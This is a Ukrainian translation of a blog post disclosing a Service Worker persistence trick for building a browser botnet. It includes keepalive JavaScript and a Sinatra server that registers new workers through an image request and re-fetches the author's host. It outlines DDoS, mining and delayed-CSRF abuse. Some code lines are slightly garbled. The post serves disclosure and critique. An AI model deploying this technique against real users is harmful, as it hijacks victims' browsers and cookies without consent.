Використання Service Worker для створення ботнету



Якщо коротко: в цьому пості ми розглянемо один з безлічі способів запуску нескінченного виконання коду Javascript в браузері за допомогою Service Worker, а ще трохи покритикуємо саму технологію.

Приклад ви знайдете посилання. Закрийте вкладку. Через кілька хвилин відкрийте DevTools/Application/ServiceWorker/Show All. Бачите, код продовжує працювати (хоча зараз це вже виправлено).

Catworker працює безперервно і, подібно зомбі, виконує різні завдання. Тобто не треба використовувати шкідливу сторінку, достатньо будь-якого блогу з адресою. Можливість додавати сторонні зображення в коментарях дозволить запустити наш код:

<img src="https://truefactor.io/cat.gif">

Веб-розробники такого не очікували: тег зображення може запустити виконання коду JS? Яким чином JS може виконуватися безперервно? Хіба так можна?

Service Worker — це занадто складно
Щоб підвищити популярність «прогресивних» веб-додатків, команда Chrome створила Service Worker, не запитуючи у вас дозволу. На практиці це нове «просунуте» рішення використовується тільки щоб показувати спливаюче push-повідомлення (Звичайно, корисність Service Worker-ів на цьому не обмежується, з їх допомогою реалізуються, наприклад, offline-режим і backsync, – прим. перекладача). Якщо ви не вірите мені на слово, відкрийте свої зареєстровані Service Worker і вивчіть їх вміст.

Навіть це буде зробити не так-то просто: сотні рядків коду, залежність від FCM і т. д. (FCM = Firebase Cloud Messaging, але його використання не є обов'язковим в даному випадку, – прим. перекладача). Розмістіть sw.js на сервері зареєструйте worker на стороні клієнта, почекайте отримання Promise, потім виконайте serviceWorkerRegistration.pushManager.getSubscription(), запросіть кінцеву точку і registration_id і зберегти їх на сервері.

Так реалізував би я:

navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })

На мою скромну думку, Service Worker — це прекрасний відповідь на неіснуюче питання. Навчитися використовувати це рішення значно складніше, ніж Appcache (AppCache, в свою чергу, вважається застарілою технологією зі своїми мінусами, – прим. перекладача ), до того ж воно менш надійно.

Як забезпечити довготривалу роботу
Service Worker відключається через 60 секунд після того, як отримує остання подія, наприклад, onmessage, onfetch, onforeignfetch і т. д.

1. Відправлення повідомлень самому собі.

self.addEventListener. ('message', function (event) {
var spawnNewMessageEvent = function (data) {
return new Promise(function (success) {
setTimeout(function () {
var sw = self.registration.active;
sw.postMessage(data);
success("success");
}, 30000)
});
};
event.waitUntil(doSomething().then(spawnNewMessageEvent));
});

1. Два worker відправляють один одному запити ForeignFetch. Щоб використовувати ForeignFetch, вам знадобиться отримати токен Origin Trial — повністю автоматизований процес, який не вимагає перевірки або підтвердження і дозволяє зловмисникові застосовувати нові експериментальні технології на реальних користувачів без їх згоди.

2. Catworker відправляє cat.gif запит fetch, в результаті реєструється новий worker з іншою областю роботи (це називається реєстрація за посиланням). Процес повторюється кожні 55 секунд.

require 'sinatra'
ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7wyeyhwkz4zwasznv682bckrz903mz54cvzqacd5zlsrlpuh8ckqiaaabyeyjvcmlnaw4ioiaiahr0chm6ly90cnvlzmfjdg9ylmlvojq0myisicjmzwf0dxjlijogikzvcmvpz25gzxrjacisicjlehbpcnkioiaxndg0otm2nzi3fq=='

get "/cat.gif" do
response.headers [Origin-Trial'] = ot;
response.headers['Access Control-Allow-Origin'] = '*';
response.headers['Link'] = '</sw?'+rand(999999999).to_s+'>; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"'

if params[:skip]
'ok'
else
response.headers['Content-Type'] = "image/gif"
File.open('./cat.gif').read
end
end

get "/sw" do
response.headers['Content-Type'] = "text/javascript"
return sw=<<HTML
//#{rand(999999999).to_s}
setTimeout(function(){
console.log("Породження")
fetch('https://truefactor.io/cat.gif?skip=1&'+Math.random(9999999));
}, 30000);
HTML
end

це можуть скористатися зловмисники?
Прямо зараз у зловмисників є три варіанти атаки вашого браузера:

  • DDoS (легко запобігти за допомогою чорного списку).
  • Обчислення з великим навантаженням на пам'ять, наприклад майнінг scrypt/litecoin. Можна отримати лише 2000 хеш-функцій в секунду, але зате абсолютно безкоштовно. До того ж можна використовувати для обчислень мільйони машин. Зверніть увагу на інші функції, які пропонує Service Worker.
  • найнебезпечніший варіант — відкладена атака CSRF. Виявивши на веб-сайті CSRF уразливість, ви можете направити завдання всім своїм «зомбі» і використовувати їх файли cookie, щоб виконувати запити від їх імені.
Процеси Service Worker постійні за своєю природою. Вони виконуються після того, як ви закриєте вкладку, довільно отримують події синхронізації і запускаються, оновлюються кожні 24 години, а якщо ви дозволяєте веб-сайту надсилати push-повідомлення, вони можуть виконувати код JS при кожному показі спливаючого вікна. Все це вже давно використовується.
В майбутньому у зловмисників буде ще більше способів обійти захист, щоб їх код продовжував працювати.

Зараз цього класу помилок приділяють недостатньо уваги. Тікети публічні (1, 2, 3) і отримують мінімальний пріоритет.

Крім усього цього, підхід Origin Trial не бездоганний: хто завгодно може отримати токен, будь-хто може скористатися експериментальної функцією в своїх цілях. Потрібна можливість включати і відключати Service Worker за бажанням.

Я переконаний, що потрібно додати прапорець для відключення Service Worker. Особисто мені ця технологія користі не приносить. (Ви читали документацію Cache? Це ж як китайська грамота.) Нові функції надходять в експлуатацію без належної перевірки, так що можна бути впевненим у Same Origin Policy та інших важливих концепцій безпеки… Ось ще кілька описів несерйозних вразливостей: FF, JSONP+XSS=takeover, атака доменів пісочниці " (Sandbox).
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.